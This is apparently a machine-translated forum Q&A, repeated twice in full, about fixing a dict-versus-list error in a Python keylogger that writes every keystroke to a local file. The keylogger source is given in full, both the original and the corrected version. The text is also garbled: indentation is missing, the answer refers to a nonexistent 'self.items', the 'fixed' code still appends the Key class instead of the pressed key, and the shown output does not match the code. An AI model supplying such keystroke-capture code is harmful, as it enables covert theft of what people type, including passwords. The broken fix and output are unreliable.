dict 对象在 Python 键记录器中没有属性追加错误消息
dict object has no attribute append error message in Python key logger
当尝试 运行 我的 Python 键盘记录器脚本时,我收到以下错误消息:
File "C:/Users/PycharmProjects/untitled2/keylogertake3", line 9, in on_press
keys.append(Key)
AttributeError: 'dict' object has no attribute 'append'
Process finished with exit code 1
代码:
import pynput
from pynput.keyboard import Key, Listener
count = 0
keys = {}
def on_press(key):
global keys, count
keys.append(Key)
count += 1
print("({0} pressed".format(key))
if count >= 10:
count = 0
write_file(keys)
keys={}
def write_file(keys):
with open ("keyloger.txt","a")as f:
for key in keys:
f.write(str(key))
with Listener(on_press=on_press)as listener:
listener.join()
此代码块中有许多错误。
keys = {}
将 keys
初始化为空字典。字典没有 append()
方法,因为它的主要目的是将键与值相关联。在原始代码中的两个地方发现了这条不正确的行。
要将 self.items 初始化为空列表,请将分配修改为:
keys = []
除此错误外,还有几行缩进不正确。
修改后的代码如下
import pynput
from pynput.keyboard import Key, Listener
count = 0
keys = []
def on_press(key):
global keys, count
keys.append(Key)
count += 1
print("\n"+"{0} pressed".format(key))
if count >= 10:
count = 0
write_file(keys)
keys = []
def write_file(keys):
with open ("keyloger.txt","a") as f:
for key in keys:
f.write(str(key))
with Listener(on_press=on_press) as listener:
listener.join()
输出:
'a' pressed
a
'b' pressed
b
'c' pressed
c
当尝试 运行 我的 Python 键盘记录器脚本时,我收到以下错误消息:
File "C:/Users/PycharmProjects/untitled2/keylogertake3", line 9, in on_press
keys.append(Key)
AttributeError: 'dict' object has no attribute 'append'
Process finished with exit code 1
代码:
import pynput
from pynput.keyboard import Key, Listener
count = 0
keys = {}
def on_press(key):
global keys, count
keys.append(Key)
count += 1
print("({0} pressed".format(key))
if count >= 10:
count = 0
write_file(keys)
keys={}
def write_file(keys):
with open ("keyloger.txt","a")as f:
for key in keys:
f.write(str(key))
with Listener(on_press=on_press)as listener:
listener.join()
此代码块中有许多错误。
keys = {}
将 keys
初始化为空字典。字典没有 append()
方法,因为它的主要目的是将键与值相关联。在原始代码中的两个地方发现了这条不正确的行。
要将 self.items 初始化为空列表,请将分配修改为:
keys = []
除此错误外,还有几行缩进不正确。
修改后的代码如下
import pynput
from pynput.keyboard import Key, Listener
count = 0
keys = []
def on_press(key):
global keys, count
keys.append(Key)
count += 1
print("\n"+"{0} pressed".format(key))
if count >= 10:
count = 0
write_file(keys)
keys = []
def write_file(keys):
with open ("keyloger.txt","a") as f:
for key in keys:
f.write(str(key))
with Listener(on_press=on_press) as listener:
listener.join()
输出:
'a' pressed
a
'b' pressed
b
'c' pressed
c